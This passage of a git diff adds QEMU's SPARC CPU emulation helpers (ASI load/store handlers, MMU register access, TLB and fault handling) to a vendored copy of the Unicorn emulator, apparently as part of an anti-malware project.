(cpu_hypervisor_mode(env)) { + switch (size) { + case 1: + ret = cpu_ldub_hypv(env, addr); + break; + case 2: + ret = cpu_lduw_hypv(env, addr); + break; + case 4: + ret = cpu_ldl_hypv(env, addr); + break; + default: + case 8: + ret = cpu_ldq_hypv(env, addr); + break; + } + } else { + /* secondary space access has lowest asi bit equal to 1 */ + if (asi & 1) { + switch (size) { + case 1: + ret = cpu_ldub_kernel_secondary(env, addr); + break; + case 2: + ret = cpu_lduw_kernel_secondary(env, addr); + break; + case 4: + ret = cpu_ldl_kernel_secondary(env, addr); + break; + default: + case 8: + ret = cpu_ldq_kernel_secondary(env, addr); + break; + } + } else { + switch (size) { + case 1: + ret = cpu_ldub_kernel(env, addr); + break; + case 2: + ret = cpu_lduw_kernel(env, addr); + break; + case 4: + ret = cpu_ldl_kernel(env, addr); + break; + default: + case 8: + ret = cpu_ldq_kernel(env, addr); + break; + } + } + } + } else { + /* secondary space access has lowest asi bit equal to 1 */ + if (asi & 1) { + switch (size) { + case 1: + ret = cpu_ldub_user_secondary(env, addr); + break; + case 2: + ret = cpu_lduw_user_secondary(env, addr); + break; + case 4: + ret = cpu_ldl_user_secondary(env, addr); + break; + default: + case 8: + ret = cpu_ldq_user_secondary(env, addr); + break; + } + } else { + switch (size) { + case 1: + ret = cpu_ldub_user(env, addr); + break; + case 2: + ret = cpu_lduw_user(env, addr); + break; + case 4: + ret = cpu_ldl_user(env, addr); + break; + default: + case 8: + ret = cpu_ldq_user(env, addr); + break; + } + } + } + break; + case 0x14: /* Bypass */ + case 0x15: /* Bypass, non-cacheable */ + case 0x1c: /* Bypass LE */ + case 0x1d: /* Bypass, non-cacheable LE */ + { + switch (size) { + case 1: + ret = ldub_phys(cs->as, addr); + break; + case 2: + ret = lduw_phys(cs->as, addr); + break; + case 4: + ret = ldl_phys(cs->as, addr); + break; + default: + case 8: + ret = ldq_phys(cs->as, addr); + break; + } + break; + } + case 0x24: /* Nucleus quad LDD 128 bit atomic */ + case 0x2c: /* Nucleus quad LDD 128 bit atomic LE + Only ldda allowed */ + helper_raise_exception(env, TT_ILL_INSN); + return 0; + case 0x04: /* Nucleus */ + case 0x0c: /* Nucleus Little Endian (LE) */ + { + switch (size) { + case 1: + ret = cpu_ldub_nucleus(env, addr); + break; + case 2: + ret = cpu_lduw_nucleus(env, addr); + break; + case 4: + ret = cpu_ldl_nucleus(env, addr); + break; + default: + case 8: + ret = cpu_ldq_nucleus(env, addr); + break; + } + break; + } + case 0x4a: /* UPA config */ + /* XXX */ + break; + case 0x45: /* LSU */ + ret = env->lsu; + break; + case 0x50: /* I-MMU regs */ + { + int reg = (addr >> 3) & 0xf; + + if (reg == 0) { + /* I-TSB Tag Target register */ + ret = ultrasparc_tag_target(env->immu.tag_access); + } else { + ret = env->immuregs[reg]; + } + + break; + } + case 0x51: /* I-MMU 8k TSB pointer */ + { + /* env->immuregs[5] holds I-MMU TSB register value + env->immuregs[6] holds I-MMU Tag Access register value */ + ret = ultrasparc_tsb_pointer(env->immu.tsb, env->immu.tag_access, + 8*1024); + break; + } + case 0x52: /* I-MMU 64k TSB pointer */ + { + /* env->immuregs[5] holds I-MMU TSB register value + env->immuregs[6] holds I-MMU Tag Access register value */ + ret = ultrasparc_tsb_pointer(env->immu.tsb, env->immu.tag_access, + 64*1024); + break; + } + case 0x55: /* I-MMU data access */ + { + int reg = (addr >> 3) & 0x3f; + + ret = env->itlb[reg].tte; + break; + } + case 0x56: /* I-MMU tag read */ + { + int reg = (addr >> 3) & 0x3f; + + ret = env->itlb[reg].tag; + break; + } + case 0x58: /* D-MMU regs */ + { + int reg = (addr >> 3) & 0xf; + + if (reg == 0) { + /* D-TSB Tag Target register */ + ret = ultrasparc_tag_target(env->dmmu.tag_access); + } else { + ret = env->dmmuregs[reg]; + } + break; + } + case 0x59: /* D-MMU 8k TSB pointer */ + { + /* env->dmmuregs[5] holds D-MMU TSB register value + env->dmmuregs[6] holds D-MMU Tag Access register value */ + ret = ultrasparc_tsb_pointer(env->dmmu.tsb, env->dmmu.tag_access, + 8*1024); + break; + } + case 0x5a: /* D-MMU 64k TSB pointer */ + { + /* env->dmmuregs[5] holds D-MMU TSB register value + env->dmmuregs[6] holds D-MMU Tag Access register value */ + ret = ultrasparc_tsb_pointer(env->dmmu.tsb, env->dmmu.tag_access, + 64*1024); + break; + } + case 0x5d: /* D-MMU data access */ + { + int reg = (addr >> 3) & 0x3f; + + ret = env->dtlb[reg].tte; + break; + } + case 0x5e: /* D-MMU tag read */ + { + int reg = (addr >> 3) & 0x3f; + + ret = env->dtlb[reg].tag; + break; + } + case 0x48: /* Interrupt dispatch, RO */ + break; + case 0x49: /* Interrupt data receive */ + ret = env->ivec_status; + break; + case 0x7f: /* Incoming interrupt vector, RO */ + { + int reg = (addr >> 4) & 0x3; + if (reg < 3) { + ret = env->ivec_data[reg]; + } + break; + } + case 0x46: /* D-cache data */ + case 0x47: /* D-cache tag access */ + case 0x4b: /* E-cache error enable */ + case 0x4c: /* E-cache asynchronous fault status */ + case 0x4d: /* E-cache asynchronous fault address */ + case 0x4e: /* E-cache tag data */ + case 0x66: /* I-cache instruction access */ + case 0x67: /* I-cache tag access */ + case 0x6e: /* I-cache predecode */ + case 0x6f: /* I-cache LRU etc. */ + case 0x76: /* E-cache tag */ + case 0x7e: /* E-cache tag */ + break; + case 0x5b: /* D-MMU data pointer */ + case 0x54: /* I-MMU data in, WO */ + case 0x57: /* I-MMU demap, WO */ + case 0x5c: /* D-MMU data in, WO */ + case 0x5f: /* D-MMU demap, WO */ + case 0x77: /* Interrupt vector, WO */ + default: + cpu_unassigned_access(cs, addr, false, false, 1, size); + ret = 0; + break; + } + + /* Convert from little endian */ + switch (asi) { + case 0x0c: /* Nucleus Little Endian (LE) */ + case 0x18: /* As if user primary LE */ + case 0x19: /* As if user secondary LE */ + case 0x1c: /* Bypass LE */ + case 0x1d: /* Bypass, non-cacheable LE */ + case 0x88: /* Primary LE */ + case 0x89: /* Secondary LE */ + switch(size) { + case 2: + ret = bswap16(ret); + break; + case 4: + ret = bswap32(ret); + break; + case 8: + ret = bswap64(ret); + break; + default: + break; + } + default: + break; + } + + /* Convert to signed number */ + if (sign) { + switch (size) { + case 1: + ret = (int8_t) ret; + break; + case 2: + ret = (int16_t) ret; + break; + case 4: + ret = (int32_t) ret; + break; + default: + break; + } + } +#ifdef DEBUG_ASI + dump_asi("read ", last_addr, asi, size, ret); +#endif + return ret; +} + +void helper_st_asi(CPUSPARCState *env, target_ulong addr, target_ulong val, + int asi, int size) +{ + SPARCCPU *cpu = sparc_env_get_cpu(env); + CPUState *cs = CPU(cpu); + +#ifdef DEBUG_ASI + dump_asi("write", addr, asi, size, val); +#endif + + asi &= 0xff; + + if ((asi < 0x80 && (env->pstate & PS_PRIV) == 0) + || (cpu_has_hypervisor(env) + && asi >= 0x30 && asi < 0x80 + && !(env->hpstate & HS_PRIV))) { + helper_raise_exception(env, TT_PRIV_ACT); + } + + helper_check_align(env, addr, size - 1); + addr = asi_address_mask(env, asi, addr); + + /* Convert to little endian */ + switch (asi) { + case 0x0c: /* Nucleus Little Endian (LE) */ + case 0x18: /* As if user primary LE */ + case 0x19: /* As if user secondary LE */ + case 0x1c: /* Bypass LE */ + case 0x1d: /* Bypass, non-cacheable LE */ + case 0x88: /* Primary LE */ + case 0x89: /* Secondary LE */ + switch (size) { + case 2: + val = bswap16(val); + break; + case 4: + val = bswap32(val); + break; + case 8: + val = bswap64(val); + break; + default: + break; + } + default: + break; + } + + switch (asi) { + case 0x10: /* As if user primary */ + case 0x11: /* As if user secondary */ + case 0x18: /* As if user primary LE */ + case 0x19: /* As if user secondary LE */ + case 0x80: /* Primary */ + case 0x81: /* Secondary */ + case 0x88: /* Primary LE */ + case 0x89: /* Secondary LE */ + case 0xe2: /* UA2007 Primary block init */ + case 0xe3: /* UA2007 Secondary block init */ + if ((asi & 0x80) && (env->pstate & PS_PRIV)) { + if (cpu_hypervisor_mode(env)) { + switch (size) { + case 1: + cpu_stb_hypv(env, addr, val); + break; + case 2: + cpu_stw_hypv(env, addr, val); + break; + case 4: + cpu_stl_hypv(env, addr, val); + break; + case 8: + default: + cpu_stq_hypv(env, addr, val); + break; + } + } else { + /* secondary space access has lowest asi bit equal to 1 */ + if (asi & 1) { + switch (size) { + case 1: + cpu_stb_kernel_secondary(env, addr, val); + break; + case 2: + cpu_stw_kernel_secondary(env, addr, val); + break; + case 4: + cpu_stl_kernel_secondary(env, addr, val); + break; + case 8: + default: + cpu_stq_kernel_secondary(env, addr, val); + break; + } + } else { + switch (size) { + case 1: + cpu_stb_kernel(env, addr, val); + break; + case 2: + cpu_stw_kernel(env, addr, val); + break; + case 4: + cpu_stl_kernel(env, addr, val); + break; + case 8: + default: + cpu_stq_kernel(env, addr, val); + break; + } + } + } + } else { + /* secondary space access has lowest asi bit equal to 1 */ + if (asi & 1) { + switch (size) { + case 1: + cpu_stb_user_secondary(env, addr, val); + break; + case 2: + cpu_stw_user_secondary(env, addr, val); + break; + case 4: + cpu_stl_user_secondary(env, addr, val); + break; + case 8: + default: + cpu_stq_user_secondary(env, addr, val); + break; + } + } else { + switch (size) { + case 1: + cpu_stb_user(env, addr, val); + break; + case 2: + cpu_stw_user(env, addr, val); + break; + case 4: + cpu_stl_user(env, addr, val); + break; + case 8: + default: + cpu_stq_user(env, addr, val); + break; + } + } + } + break; + case 0x14: /* Bypass */ + case 0x15: /* Bypass, non-cacheable */ + case 0x1c: /* Bypass LE */ + case 0x1d: /* Bypass, non-cacheable LE */ + { + switch (size) { + case 1: + stb_phys(cs->as, addr, val); + break; + case 2: + stw_phys(cs->as, addr, val); + break; + case 4: + stl_phys(cs->as, addr, val); + break; + case 8: + default: + stq_phys(cs->as, addr, val); + break; + } + } + return; + case 0x24: /* Nucleus quad LDD 128 bit atomic */ + case 0x2c: /* Nucleus quad LDD 128 bit atomic LE + Only ldda allowed */ + helper_raise_exception(env, TT_ILL_INSN); + return; + case 0x04: /* Nucleus */ + case 0x0c: /* Nucleus Little Endian (LE) */ + { + switch (size) { + case 1: + cpu_stb_nucleus(env, addr, val); + break; + case 2: + cpu_stw_nucleus(env, addr, val); + break; + case 4: + cpu_stl_nucleus(env, addr, val); + break; + default: + case 8: + cpu_stq_nucleus(env, addr, val); + break; + } + break; + } + + case 0x4a: /* UPA config */ + /* XXX */ + return; + case 0x45: /* LSU */ + { + uint64_t oldreg; + + oldreg = env->lsu; + env->lsu = val & (DMMU_E | IMMU_E); + /* Mappings generated during D/I MMU disabled mode are + invalid in normal mode */ + if (oldreg != env->lsu) { + DPRINTF_MMU("LSU change: 0x%" PRIx64 " -> 0x%" PRIx64 "\n", + oldreg, env->lsu); +#ifdef DEBUG_MMU + dump_mmu(stdout, fprintf, env); +#endif + tlb_flush(CPU(cpu), 1); + } + return; + } + case 0x50: /* I-MMU regs */ + { + int reg = (addr >> 3) & 0xf; + uint64_t oldreg; + + oldreg = env->immuregs[reg]; + switch (reg) { + case 0: /* RO */ + return; + case 1: /* Not in I-MMU */ + case 2: + return; + case 3: /* SFSR */ + if ((val & 1) == 0) { + val = 0; /* Clear SFSR */ + } + env->immu.sfsr = val; + break; + case 4: /* RO */ + return; + case 5: /* TSB access */ + DPRINTF_MMU("immu TSB write: 0x%016" PRIx64 " -> 0x%016" + PRIx64 "\n", env->immu.tsb, val); + env->immu.tsb = val; + break; + case 6: /* Tag access */ + env->immu.tag_access = val; + break; + case 7: + case 8: + return; + default: + break; + } + + if (oldreg != env->immuregs[reg]) { + DPRINTF_MMU("immu change reg[%d]: 0x%016" PRIx64 " -> 0x%016" + PRIx64 "\n", reg, oldreg, env->immuregs[reg]); + } +#ifdef DEBUG_MMU + dump_mmu(stdout, fprintf, env); +#endif + return; + } + case 0x54: /* I-MMU data in */ + replace_tlb_1bit_lru(env->itlb, env->immu.tag_access, val, "immu", env); + return; + case 0x55: /* I-MMU data access */ + { + /* TODO: auto demap */ + + unsigned int i = (addr >> 3) & 0x3f; + + replace_tlb_entry(&env->itlb[i], env->immu.tag_access, val, env); + +#ifdef DEBUG_MMU + DPRINTF_MMU("immu data access replaced entry [%i]\n", i); + dump_mmu(stdout, fprintf, env); +#endif + return; + } + case 0x57: /* I-MMU demap */ + demap_tlb(env->itlb, addr, "immu", env); + return; + case 0x58: /* D-MMU regs */ + { + int reg = (addr >> 3) & 0xf; + uint64_t oldreg; + + oldreg = env->dmmuregs[reg]; + switch (reg) { + case 0: /* RO */ + case 4: + return; + case 3: /* SFSR */ + if ((val & 1) == 0) { + val = 0; /* Clear SFSR, Fault address */ + env->dmmu.sfar = 0; + } + env->dmmu.sfsr = val; + break; + case 1: /* Primary context */ + env->dmmu.mmu_primary_context = val; + /* can be optimized to only flush MMU_USER_IDX + and MMU_KERNEL_IDX entries */ + tlb_flush(CPU(cpu), 1); + break; + case 2: /* Secondary context */ + env->dmmu.mmu_secondary_context = val; + /* can be optimized to only flush MMU_USER_SECONDARY_IDX + and MMU_KERNEL_SECONDARY_IDX entries */ + tlb_flush(CPU(cpu), 1); + break; + case 5: /* TSB access */ + DPRINTF_MMU("dmmu TSB write: 0x%016" PRIx64 " -> 0x%016" + PRIx64 "\n", env->dmmu.tsb, val); + env->dmmu.tsb = val; + break; + case 6: /* Tag access */ + env->dmmu.tag_access = val; + break; + case 7: /* Virtual Watchpoint */ + case 8: /* Physical Watchpoint */ + default: + env->dmmuregs[reg] = val; + break; + } + + if (oldreg != env->dmmuregs[reg]) { + DPRINTF_MMU("dmmu change reg[%d]: 0x%016" PRIx64 " -> 0x%016" + PRIx64 "\n", reg, oldreg, env->dmmuregs[reg]); + } +#ifdef DEBUG_MMU + dump_mmu(stdout, fprintf, env); +#endif + return; + } + case 0x5c: /* D-MMU data in */ + replace_tlb_1bit_lru(env->dtlb, env->dmmu.tag_access, val, "dmmu", env); + return; + case 0x5d: /* D-MMU data access */ + { + unsigned int i = (addr >> 3) & 0x3f; + + replace_tlb_entry(&env->dtlb[i], env->dmmu.tag_access, val, env); + +#ifdef DEBUG_MMU + DPRINTF_MMU("dmmu data access replaced entry [%i]\n", i); + dump_mmu(stdout, fprintf, env); +#endif + return; + } + case 0x5f: /* D-MMU demap */ + demap_tlb(env->dtlb, addr, "dmmu", env); + return; + case 0x49: /* Interrupt data receive */ + env->ivec_status = val & 0x20; + return; + case 0x46: /* D-cache data */ + case 0x47: /* D-cache tag access */ + case 0x4b: /* E-cache error enable */ + case 0x4c: /* E-cache asynchronous fault status */ + case 0x4d: /* E-cache asynchronous fault address */ + case 0x4e: /* E-cache tag data */ + case 0x66: /* I-cache instruction access */ + case 0x67: /* I-cache tag access */ + case 0x6e: /* I-cache predecode */ + case 0x6f: /* I-cache LRU etc. */ + case 0x76: /* E-cache tag */ + case 0x7e: /* E-cache tag */ + return; + case 0x51: /* I-MMU 8k TSB pointer, RO */ + case 0x52: /* I-MMU 64k TSB pointer, RO */ + case 0x56: /* I-MMU tag read, RO */ + case 0x59: /* D-MMU 8k TSB pointer, RO */ + case 0x5a: /* D-MMU 64k TSB pointer, RO */ + case 0x5b: /* D-MMU data pointer, RO */ + case 0x5e: /* D-MMU tag read, RO */ + case 0x48: /* Interrupt dispatch, RO */ + case 0x7f: /* Incoming interrupt vector, RO */ + case 0x82: /* Primary no-fault, RO */ + case 0x83: /* Secondary no-fault, RO */ + case 0x8a: /* Primary no-fault LE, RO */ + case 0x8b: /* Secondary no-fault LE, RO */ + default: + cpu_unassigned_access(cs, addr, true, false, 1, size); + return; + } +} +#endif /* CONFIG_USER_ONLY */ + +void helper_ldda_asi(CPUSPARCState *env, target_ulong addr, int asi, int rd) +{ + if ((asi < 0x80 && (env->pstate & PS_PRIV) == 0) + || (cpu_has_hypervisor(env) + && asi >= 0x30 && asi < 0x80 + && !(env->hpstate & HS_PRIV))) { + helper_raise_exception(env, TT_PRIV_ACT); + } + + addr = asi_address_mask(env, asi, addr); + + switch (asi) { +#if !defined(CONFIG_USER_ONLY) + case 0x24: /* Nucleus quad LDD 128 bit atomic */ + case 0x2c: /* Nucleus quad LDD 128 bit atomic LE */ + helper_check_align(env, addr, 0xf); + if (rd == 0) { + env->gregs[1] = cpu_ldq_nucleus(env, addr + 8); + if (asi == 0x2c) { + bswap64s(&env->gregs[1]); + } + } else if (rd < 8) { + env->gregs[rd] = cpu_ldq_nucleus(env, addr); + env->gregs[rd + 1] = cpu_ldq_nucleus(env, addr + 8); + if (asi == 0x2c) { + bswap64s(&env->gregs[rd]); + bswap64s(&env->gregs[rd + 1]); + } + } else { + env->regwptr[rd] = cpu_ldq_nucleus(env, addr); + env->regwptr[rd + 1] = cpu_ldq_nucleus(env, addr + 8); + if (asi == 0x2c) { + bswap64s(&env->regwptr[rd]); + bswap64s(&env->regwptr[rd + 1]); + } + } + break; +#endif + default: + helper_check_align(env, addr, 0x3); + if (rd == 0) { + env->gregs[1] = helper_ld_asi(env, addr + 4, asi, 4, 0); + } else if (rd < 8) { + env->gregs[rd] = helper_ld_asi(env, addr, asi, 4, 0); + env->gregs[rd + 1] = helper_ld_asi(env, addr + 4, asi, 4, 0); + } else { + env->regwptr[rd] = helper_ld_asi(env, addr, asi, 4, 0); + env->regwptr[rd + 1] = helper_ld_asi(env, addr + 4, asi, 4, 0); + } + break; + } +} + +void helper_ldf_asi(CPUSPARCState *env, target_ulong addr, int asi, int size, + int rd) +{ + unsigned int i; + target_ulong val; + + helper_check_align(env, addr, 3); + addr = asi_address_mask(env, asi, addr); + + switch (asi) { + case 0xf0: /* UA2007/JPS1 Block load primary */ + case 0xf1: /* UA2007/JPS1 Block load secondary */ + case 0xf8: /* UA2007/JPS1 Block load primary LE */ + case 0xf9: /* UA2007/JPS1 Block load secondary LE */ + if (rd & 7) { + helper_raise_exception(env, TT_ILL_INSN); + return; + } + helper_check_align(env, addr, 0x3f); + for (i = 0; i < 8; i++, rd += 2, addr += 8) { + env->fpr[rd / 2].ll = helper_ld_asi(env, addr, asi & 0x8f, 8, 0); + } + return; + + case 0x16: /* UA2007 Block load primary, user privilege */ + case 0x17: /* UA2007 Block load secondary, user privilege */ + case 0x1e: /* UA2007 Block load primary LE, user privilege */ + case 0x1f: /* UA2007 Block load secondary LE, user privilege */ + case 0x70: /* JPS1 Block load primary, user privilege */ + case 0x71: /* JPS1 Block load secondary, user privilege */ + case 0x78: /* JPS1 Block load primary LE, user privilege */ + case 0x79: /* JPS1 Block load secondary LE, user privilege */ + if (rd & 7) { + helper_raise_exception(env, TT_ILL_INSN); + return; + } + helper_check_align(env, addr, 0x3f); + for (i = 0; i < 8; i++, rd += 2, addr += 8) { + env->fpr[rd / 2].ll = helper_ld_asi(env, addr, asi & 0x19, 8, 0); + } + return; + + default: + break; + } + + switch (size) { + default: + case 4: + val = helper_ld_asi(env, addr, asi, size, 0); + if (rd & 1) { + env->fpr[rd / 2].l.lower = val; + } else { + env->fpr[rd / 2].l.upper = val; + } + break; + case 8: + env->fpr[rd / 2].ll = helper_ld_asi(env, addr, asi, size, 0); + break; + case 16: + env->fpr[rd / 2].ll = helper_ld_asi(env, addr, asi, 8, 0); + env->fpr[rd / 2 + 1].ll = helper_ld_asi(env, addr + 8, asi, 8, 0); + break; + } +} + +void helper_stf_asi(CPUSPARCState *env, target_ulong addr, int asi, int size, + int rd) +{ + unsigned int i; + target_ulong val; + + addr = asi_address_mask(env, asi, addr); + + switch (asi) { + case 0xe0: /* UA2007/JPS1 Block commit store primary (cache flush) */ + case 0xe1: /* UA2007/JPS1 Block commit store secondary (cache flush) */ + case 0xf0: /* UA2007/JPS1 Block store primary */ + case 0xf1: /* UA2007/JPS1 Block store secondary */ + case 0xf8: /* UA2007/JPS1 Block store primary LE */ + case 0xf9: /* UA2007/JPS1 Block store secondary LE */ + if (rd & 7) { + helper_raise_exception(env, TT_ILL_INSN); + return; + } + helper_check_align(env, addr, 0x3f); + for (i = 0; i < 8; i++, rd += 2, addr += 8) { + helper_st_asi(env, addr, env->fpr[rd / 2].ll, asi & 0x8f, 8); + } + + return; + case 0x16: /* UA2007 Block load primary, user privilege */ + case 0x17: /* UA2007 Block load secondary, user privilege */ + case 0x1e: /* UA2007 Block load primary LE, user privilege */ + case 0x1f: /* UA2007 Block load secondary LE, user privilege */ + case 0x70: /* JPS1 Block store primary, user privilege */ + case 0x71: /* JPS1 Block store secondary, user privilege */ + case 0x78: /* JPS1 Block load primary LE, user privilege */ + case 0x79: /* JPS1 Block load secondary LE, user privilege */ + if (rd & 7) { + helper_raise_exception(env, TT_ILL_INSN); + return; + } + helper_check_align(env, addr, 0x3f); + for (i = 0; i < 8; i++, rd += 2, addr += 8) { + helper_st_asi(env, addr, env->fpr[rd / 2].ll, asi & 0x19, 8); + } + + return; + case 0xd2: /* 16-bit floating point load primary */ + case 0xd3: /* 16-bit floating point load secondary */ + case 0xda: /* 16-bit floating point load primary, LE */ + case 0xdb: /* 16-bit floating point load secondary, LE */ + helper_check_align(env, addr, 1); + /* Fall through */ + case 0xd0: /* 8-bit floating point load primary */ + case 0xd1: /* 8-bit floating point load secondary */ + case 0xd8: /* 8-bit floating point load primary, LE */ + case 0xd9: /* 8-bit floating point load secondary, LE */ + val = env->fpr[rd / 2].l.lower; + helper_st_asi(env, addr, val, asi & 0x8d, ((asi & 2) >> 1) + 1); + return; + default: + helper_check_align(env, addr, 3); + break; + } + + switch (size) { + default: + case 4: + if (rd & 1) { + val = env->fpr[rd / 2].l.lower; + } else { + val = env->fpr[rd / 2].l.upper; + } + helper_st_asi(env, addr, val, asi, size); + break; + case 8: + helper_st_asi(env, addr, env->fpr[rd / 2].ll, asi, size); + break; + case 16: + helper_st_asi(env, addr, env->fpr[rd / 2].ll, asi, 8); + helper_st_asi(env, addr + 8, env->fpr[rd / 2 + 1].ll, asi, 8); + break; + } +} + +target_ulong helper_casx_asi(CPUSPARCState *env, target_ulong addr, + target_ulong val1, target_ulong val2, + uint32_t asi) +{ + target_ulong ret; + + ret = helper_ld_asi(env, addr, asi, 8, 0); + if (val2 == ret) { + helper_st_asi(env, addr, val1, asi, 8); + } + return ret; +} +#endif /* TARGET_SPARC64 */ + +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) +target_ulong helper_cas_asi(CPUSPARCState *env, target_ulong addr, + target_ulong val1, target_ulong val2, uint32_t asi) +{ + target_ulong ret; + + val2 &= 0xffffffffUL; + ret = helper_ld_asi(env, addr, asi, 4, 0); + ret &= 0xffffffffUL; + if (val2 == ret) { + helper_st_asi(env, addr, val1 & 0xffffffffUL, asi, 4); + } + return ret; +} +#endif /* !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) */ + +void helper_ldqf(CPUSPARCState *env, target_ulong addr, int mem_idx) +{ + /* XXX add 128 bit load */ + CPU_QuadU u; + + helper_check_align(env, addr, 7); +#if !defined(CONFIG_USER_ONLY) + switch (mem_idx) { + case MMU_USER_IDX: + u.ll.upper = cpu_ldq_user(env, addr); + u.ll.lower = cpu_ldq_user(env, addr + 8); + QT0 = u.q; + break; + case MMU_KERNEL_IDX: + u.ll.upper = cpu_ldq_kernel(env, addr); + u.ll.lower = cpu_ldq_kernel(env, addr + 8); + QT0 = u.q; + break; +#ifdef TARGET_SPARC64 + case MMU_HYPV_IDX: + u.ll.upper = cpu_ldq_hypv(env, addr); + u.ll.lower = cpu_ldq_hypv(env, addr + 8); + QT0 = u.q; + break; +#endif + default: + DPRINTF_MMU("helper_ldqf: need to check MMU idx %d\n", mem_idx); + break; + } +#else + u.ll.upper = ldq_raw(address_mask(env, addr)); + u.ll.lower = ldq_raw(address_mask(env, addr + 8)); + QT0 = u.q; +#endif +} + +void helper_stqf(CPUSPARCState *env, target_ulong addr, int mem_idx) +{ + /* XXX add 128 bit store */ + CPU_QuadU u; + + helper_check_align(env, addr, 7); +#if !defined(CONFIG_USER_ONLY) + switch (mem_idx) { + case MMU_USER_IDX: + u.q = QT0; + cpu_stq_user(env, addr, u.ll.upper); + cpu_stq_user(env, addr + 8, u.ll.lower); + break; + case MMU_KERNEL_IDX: + u.q = QT0; + cpu_stq_kernel(env, addr, u.ll.upper); + cpu_stq_kernel(env, addr + 8, u.ll.lower); + break; +#ifdef TARGET_SPARC64 + case MMU_HYPV_IDX: + u.q = QT0; + cpu_stq_hypv(env, addr, u.ll.upper); + cpu_stq_hypv(env, addr + 8, u.ll.lower); + break; +#endif + default: + DPRINTF_MMU("helper_stqf: need to check MMU idx %d\n", mem_idx); + break; + } +#else + u.q = QT0; + stq_raw(address_mask(env, addr), u.ll.upper); + stq_raw(address_mask(env, addr + 8), u.ll.lower); +#endif +} + +#if !defined(CONFIG_USER_ONLY) +#ifndef TARGET_SPARC64 +void sparc_cpu_unassigned_access(CPUState *cs, hwaddr addr, + bool is_write, bool is_exec, int is_asi, + unsigned size) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + int fault_type; + +#ifdef DEBUG_UNASSIGNED + if (is_asi) { + printf("Unassigned mem %s access of %d byte%s to " TARGET_FMT_plx + " asi 0x%02x from " TARGET_FMT_lx "\n", + is_exec ? "exec" : is_write ? "write" : "read", size, + size == 1 ? "" : "s", addr, is_asi, env->pc); + } else { + printf("Unassigned mem %s access of %d byte%s to " TARGET_FMT_plx + " from " TARGET_FMT_lx "\n", + is_exec ? "exec" : is_write ? "write" : "read", size, + size == 1 ? "" : "s", addr, env->pc); + } +#endif + /* Don't overwrite translation and access faults */ + fault_type = (env->mmuregs[3] & 0x1c) >> 2; + if ((fault_type > 4) || (fault_type == 0)) { + env->mmuregs[3] = 0; /* Fault status register */ + if (is_asi) { + env->mmuregs[3] |= 1 << 16; + } + if (env->psrs) { + env->mmuregs[3] |= 1 << 5; + } + if (is_exec) { + env->mmuregs[3] |= 1 << 6; + } + if (is_write) { + env->mmuregs[3] |= 1 << 7; + } + env->mmuregs[3] |= (5 << 2) | 2; + /* SuperSPARC will never place instruction fault addresses in the FAR */ + if (!is_exec) { + env->mmuregs[4] = addr; /* Fault address register */ + } + } + /* overflow (same type fault was not read before another fault) */ + if (fault_type == ((env->mmuregs[3] & 0x1c)) >> 2) { + env->mmuregs[3] |= 1; + } + + if ((env->mmuregs[0] & MMU_E) && !(env->mmuregs[0] & MMU_NF)) { + if (is_exec) { + helper_raise_exception(env, TT_CODE_ACCESS); + } else { + helper_raise_exception(env, TT_DATA_ACCESS); + } + } + + /* flush neverland mappings created during no-fault mode, + so the sequential MMU faults report proper fault types */ + if (env->mmuregs[0] & MMU_NF) { + tlb_flush(cs, 1); + } +} +#else +void sparc_cpu_unassigned_access(CPUState *cs, hwaddr addr, + bool is_write, bool is_exec, int is_asi, + unsigned size) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + +#ifdef DEBUG_UNASSIGNED + printf("Unassigned mem access to " TARGET_FMT_plx " from " TARGET_FMT_lx + "\n", addr, env->pc); +#endif + + if (is_exec) { + helper_raise_exception(env, TT_CODE_ACCESS); + } else { + helper_raise_exception(env, TT_DATA_ACCESS); + } +} +#endif +#endif + +#if !defined(CONFIG_USER_ONLY) +void QEMU_NORETURN sparc_cpu_do_unaligned_access(CPUState *cs, + vaddr addr, int is_write, + int is_user, uintptr_t retaddr) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + +#ifdef DEBUG_UNALIGNED + printf("Unaligned access to 0x" TARGET_FMT_lx " from 0x" TARGET_FMT_lx + "\n", addr, env->pc); +#endif + if (retaddr) { + cpu_restore_state(CPU(cpu), retaddr); + } + helper_raise_exception(env, TT_UNALIGNED); +} + +/* try to fill the TLB and return an exception if error. If retaddr is + NULL, it means that the function was called in C code (i.e. not + from generated code or from helper.c) */ +/* XXX: fix it to restore all registers */ +void tlb_fill(CPUState *cs, target_ulong addr, int is_write, int mmu_idx, + uintptr_t retaddr) +{ + int ret; + + ret = sparc_cpu_handle_mmu_fault(cs, addr, is_write, mmu_idx); + if (ret) { + if (retaddr) { + cpu_restore_state(cs, retaddr); + } + cpu_loop_exit(cs); + } +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/mmu_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/mmu_helper.c new file mode 100644 index 0000000..9c3b2ce --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/mmu_helper.c @@ -0,0 +1,867 @@ +/* + * Sparc MMU helpers + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "exec/address-spaces.h" + +/* Sparc MMU emulation */ + +#if defined(CONFIG_USER_ONLY) + +int sparc_cpu_handle_mmu_fault(CPUState *cs, vaddr address, int rw, + int mmu_idx) +{ + if (rw & 2) { + cs->exception_index = TT_TFAULT; + } else { + cs->exception_index = TT_DFAULT; + } + return 1; +} + +#else + +#ifndef TARGET_SPARC64 +/* + * Sparc V8 Reference MMU (SRMMU) + */ +static const int access_table[8][8] = { + { 0, 0, 0, 0, 8, 0, 12, 12 }, + { 0, 0, 0, 0, 8, 0, 0, 0 }, + { 8, 8, 0, 0, 0, 8, 12, 12 }, + { 8, 8, 0, 0, 0, 8, 0, 0 }, + { 8, 0, 8, 0, 8, 